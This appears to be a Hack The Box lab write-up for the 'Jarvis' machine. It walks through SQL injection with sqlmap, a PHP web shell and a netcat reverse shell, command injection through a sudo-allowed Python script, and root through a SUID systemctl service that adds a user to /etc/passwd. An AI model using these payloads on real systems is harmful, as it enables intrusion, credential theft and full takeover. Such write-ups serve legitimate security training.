[email protected]:~/Desktop/HTB/boxes/jarvis#

We got ssh on port 22 and http on port 80. Letā€™s take a look at the web service.

Web Enumeration

By visiting http://jarvis.htb/ we get a website for a hotel called Stark Hotel:


I ran gobuster to check for any sub directories and the only interesting thing I found was /phpmyadmin:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[email protected]:~/Desktop/HTB/boxes/jarvis# gobuster -u http://jarvis.htb/ -w /usr/share/wordlists/dirb/common.txt

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://jarvis.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/08 17:38:59 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/fonts (Status: 301)
/images (Status: 301)
/index.php (Status: 200)
/js (Status: 301)
/phpmyadmin (Status: 301)
/server-status (Status: 403)
=====================================================
2019/11/08 17:40:39 Finished
=====================================================

http://jarvis.htb/phpmyadmin

phpMyAdmin is a free software tool written in PHP, intended to handle the administration of MySQL over the Web. phpMyAdmin supports a wide range of operations on MySQL and MariaDB. Frequently used operations (managing databases, tables, columns, relations, indexes, users, permissions, etc) can be performed via the user interface, while you still have the ability to directly execute any SQL statement. -phpmyadmin.net

That can be useful later if we could find the credentials, but for now letā€™s concentrate on the web application.

SQLi in room.php

Back to the ā€œRooms & Suitesā€ section in the main page, clicking on any of these rooms requests /room.php with a parameter called cod that holds the room number:


I tried replacing the number with a single quote ' and I got a weird response:

So I ran sqlmap but I got a 404 response:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1             
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 17:43:03 /2019-11-08/
[17:43:03] [INFO] testing connection to the target URL
[17:43:04] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:43:04] [INFO] testing if the target URL content is stable
[17:43:05] [INFO] heuristics detected web page charset 'ascii'
[17:43:05] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk
results, refer to user's manual paragraph 'Page comparison'
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C
[17:43:13] [INFO] searching for dynamic content
[17:43:13] [CRITICAL] page not found (404)
[17:43:13] [WARNING] HTTP error codes detected during run:
404 (Not Found) - 2 times
[*] ending @ 17:43:13 /2019-11-08/

I checked the page again and saw a message indicating that I got banned for 90 seconds:

I assumed that it checks for the user-agent because the ban happened immediately, so I added the --user-agent option and used Firefox user-agent, that was enough to bypass the filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"     
___
__H__
___ ___[(]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:15:42 /2019-11-08/
[22:15:42] [INFO] testing connection to the target URL
[22:15:43] [INFO] checking if the target is protected by some kind of WAF/IPS
[22:15:43] [INFO] testing if the target URL content is stable
[22:15:44] [INFO] target URL content is stable
[22:15:44] [INFO] testing if GET parameter 'cod' is dynamic
[22:15:45] [INFO] GET parameter 'cod' appears to be dynamic
[22:15:46] [INFO] heuristic (basic) test shows that GET parameter 'cod' might be injectable
[22:15:46] [INFO] testing for SQL injection on GET parameter 'cod'
[22:15:46] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[22:15:48] [INFO] GET parameter 'cod' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --string="of")
[22:15:52] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[22:15:56] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[22:15:56] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[22:15:57] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:15:58] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[22:16:00] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'MySQL OR error-based - WHERE or HAVING clause (FLOOR)'
[22:16:01] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[22:16:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[22:16:02] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[22:16:02] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[22:16:02] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[22:16:03] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[22:16:03] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[22:16:03] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[22:16:04] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[22:16:06] [INFO] testing 'MySQL inline queries'
[22:16:06] [INFO] testing 'PostgreSQL inline queries'
[22:16:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[22:16:07] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[22:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[22:16:09] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[22:16:10] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[22:16:10] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[22:16:10] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[22:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[22:16:22] [INFO] GET parameter 'cod' appears to be 'MySQL >= 5.0.12 AND time-based blind' injectable
[22:16:22] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[22:16:22] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[22:16:22] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection tech
nique test
[22:16:23] [INFO] target URL appears to have 7 columns in query
[22:16:28] [INFO] GET parameter 'cod' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'cod' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 80 HTTP(s) requests:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:16:33] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:16:33] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:16:33 /2019-11-08/

[email protected]:~/Desktop/HTB/boxes/jarvis#

RCE ā€“> Shell as www-data

I could get RCE in 2 different ways.

First way:

By using the os-shell option in sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --os-shell                                    
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . ["] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no
liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:23:10 /2019-11-08/
[22:23:10] [INFO] resuming back-end DBMS 'mysql'
[22:23:10] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:23:11] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:23:11] [INFO] going to use a web backdoor for command prompt
[22:23:11] [INFO] fingerprinting the back-end DBMS operating system
[22:23:11] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[22:23:13] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /usr/local/apache2/htdocs, /var/www/nginx-default, /srv/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: /var/www/html
[22:23:40] [INFO] retrieved web server absolute paths: '/images/'
[22:23:40] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[22:23:42] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpuujaq.php
[22:23:43] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://jarvis.htb:80/tmpbtwbt.php
[22:23:43] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] a
command standard output: 'www-data'
os-shell> id
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell>

From here we can simply execute a reverse shell command and get a shell.

Second way:

I used the --passwords option to dump the usersā€™ password hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
[email protected]:~/Desktop/HTB/boxes/jarvis# sqlmap -u http://jarvis.htb/room.php?cod=1 --user-agent "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" --passwords                                  
___
__H__
___ ___[,]_____ ___ ___ {1.3.4#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 22:17:45 /2019-11-08/

[22:17:46] [INFO] resuming back-end DBMS 'mysql'
[22:17:46] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 9726=9726

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: cod=1 AND SLEEP(5)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6795 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7178786b71,0x4149506c785a7463717746587661766f774b6655715351584358576f6c6470664f49754a6f63516b,0x717a626271),NULL-- HCXr
---
[22:17:46] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9.0 (stretch)
web application technology: Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12
[22:17:46] [INFO] fetching database users password hashes
[22:17:46] [INFO] used SQL query returns 1 entry
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[22:17:53] [INFO] writing hashes to a temporary file '/tmp/sqlmapbAZ4vg2489/sqlmaphashes-KkbVkR.txt'
do you want to perform a dictionary-based attack against retrieved password hashes? [Y/n/q] n
database management system users password hashes:
[*] DBadmin [1]:
password hash: *2D2B7A5E4E637B8FBA1D17F40318F277D29964D0

[22:17:55] [INFO] fetched data logged to text files under '/root/.sqlmap/output/jarvis.htb'

[*] ending @ 22:17:55 /2019-11-08/

[email protected]:~/Desktop/HTB/boxes/jarvis#

I got the password hash for DBadmin, I cracked it with crackstation:

Then I tried these credentials (DBadmin : imissyou) with phpmyadmin and I got in:


From the SQL console we can write a web shell:

1
SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

I used the netcat openbsd reverse shell payload from PayloadsAllTheThings to get a reverse shell, I had to url-encode it first:

1
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.xx.xx%201337%20%3E%2Ftmp%2Ff

Now we have a shell as www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:57400.
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ which python
/usr/bin/python
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:/var/www/html$ ^Z
[1]+ Stopped nc -lvnp 1337
[email protected]:~/Desktop/HTB/boxes/jarvis# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1337

[email protected]:/var/www/html$ export TERM=screen
[email protected]:/var/www/html$

Command Injection in simpler.py ā€“> Shell as pepper ā€“> User Flag

I checked the home directory and there was a user called pepper, I couldnā€™t read the user flag as www-data:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
[email protected]:/var/www/html$ cd /home/
[email protected]:/home$ ls -al
total 12
drwxr-xr-x 3 root root 4096 Mar 2 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 pepper
[email protected]:/home$ cd pepper/
[email protected]:/home/pepper$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
[email protected]:/home/pepper$ cat user.txt
cat: user.txt: Permission denied
[email protected]:/home/pepper$

By running sudo -l I saw that I can run /var/www/Admin-Utilities/simpler.py as pepper without a password:

1
2
3
4
5
6
7
8
[email protected]:/home/pepper$ sudo -l
Matching Defaults entries for www-data on jarvis:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on jarvis:
(pepper : ALL) NOPASSWD: /var/www/Admin-Utilities/simpler.py
[email protected]:/home/pepper$
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
[email protected]:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************


********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]

Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP

[email protected]:/home/pepper$

Letā€™s take a look at that script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
[email protected]:/home/pepper$ cat /var/www/Admin-Utilities/simpler.py
#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re
def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]
Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)

def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es
***********************************************
''')
def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()

print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1

print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()

def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req

def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]

def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req

def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()
[email protected]:/home/pepper$

The most interesting function in this script is exec_ping:

1
2
3
4
5
6
7
8
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

It takes our input (it assumes that itā€™s an ip) and executes ping on it, to prevent command injection it checks for these characters:

1
& ; - ` || |

However, It doesnā€™t check for the dollar sign ($), the dollar sign can be used to execute commands like this: $(command)
So for example if we do ping -c 1 $(echo 127.0.0.1), echo 127.0.0.1 will be executed first then the ping command will be executed:

1
2
3
4
5
6
7
8
[email protected]:~/Desktop/HTB/boxes/jarvis# ping -c 1 $(echo 127.0.0.1)
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.072 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.072/0.072/0.072/0.000 ms
[email protected]:~/Desktop/HTB/boxes/jarvis#

ping -c 1 $(whoami) will result in an error message because it will try to ping root which is not a valid hostname:

1
2
3
[email protected]:~/Desktop/HTB/boxes/jarvis#  ping -c 1 $(whoami)
ping: unknown host root
[email protected]:~/Desktop/HTB/boxes/jarvis#

So we can simply do $(bash) and weā€™ll get a shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[email protected]:/home/pepper$ sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************

Enter an IP: $(bash)
[email protected]:~$

When I ran commands I didnā€™t get any output:

1
2
3
4
[email protected]:~$ id
[email protected]:~$ cat user.txt
[email protected]:~$ ls -la
[email protected]:~$

So I executed a reverse shell command (I used the same payload I used before) and got a reverse shell as pepper:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.143.
Ncat: Connection from 10.10.10.143:40124.
$ python -c "import pty;pty.spawn('/bin/bash')"
[email protected]:~$ ^Z
[1]+ Stopped nc -lvnp 1338
[email protected]:~/Desktop/HTB/boxes/jarvis# stty raw -echo
[email protected]:~/Desktop/HTB/boxes/jarvis# nc -lvnp 1338

[email protected]:~$ export TERM=screen
[email protected]:~$ id
uid=1000(pepper) gid=1000(pepper) groups=1000(pepper)
[email protected]:~$ ls -al
total 32
drwxr-xr-x 4 pepper pepper 4096 Mar 5 2019 .
drwxr-xr-x 3 root root 4096 Mar 2 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 pepper pepper 220 Mar 2 2019 .bash_logout
-rw-r--r-- 1 pepper pepper 3526 Mar 2 2019 .bashrc
drwxr-xr-x 2 pepper pepper 4096 Mar 2 2019 .nano
-rw-r--r-- 1 pepper pepper 675 Mar 2 2019 .profile
drwxr-xr-x 3 pepper pepper 4096 Mar 4 2019 Web
-r--r----- 1 root pepper 33 Mar 5 2019 user.txt
[email protected]:~$

We owned user.

Systemctl: suid ā€“> Root Shell ā€“> Root Flag

When I checked the suid binaries I saw systemctl:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[email protected]:~$ find / -perm -4000 2>/dev/null 
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
[email protected]:~$

systemctl may be used to introspect and control the state of the ā€œsystemdā€ system and service manager. -man7.org

To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then weā€™ll use systemctl to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh:

1
2
3
4
5
6
7
8
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target

And I created /dev/shm/root.sh which echoes:

1
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

to /etc/passwd to enable us to su as root with the credentials rooot : AAAA. (Check Ghoul).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[email protected]:/dev/shm$ nano root.service
[email protected]:/dev/shm$ cat root.service
[Unit]
Description=pwned

[Service]
ExecStart=/dev/shm/root.sh

[Install]
WantedBy=multi-user.target
[email protected]:/dev/shm$ nano root.sh
[email protected]:/dev/shm$ chmod +x root.sh
[email protected]:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
[email protected]:/dev/shm$

I enabled the service and started it:

1
2
3
4
5
[email protected]:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
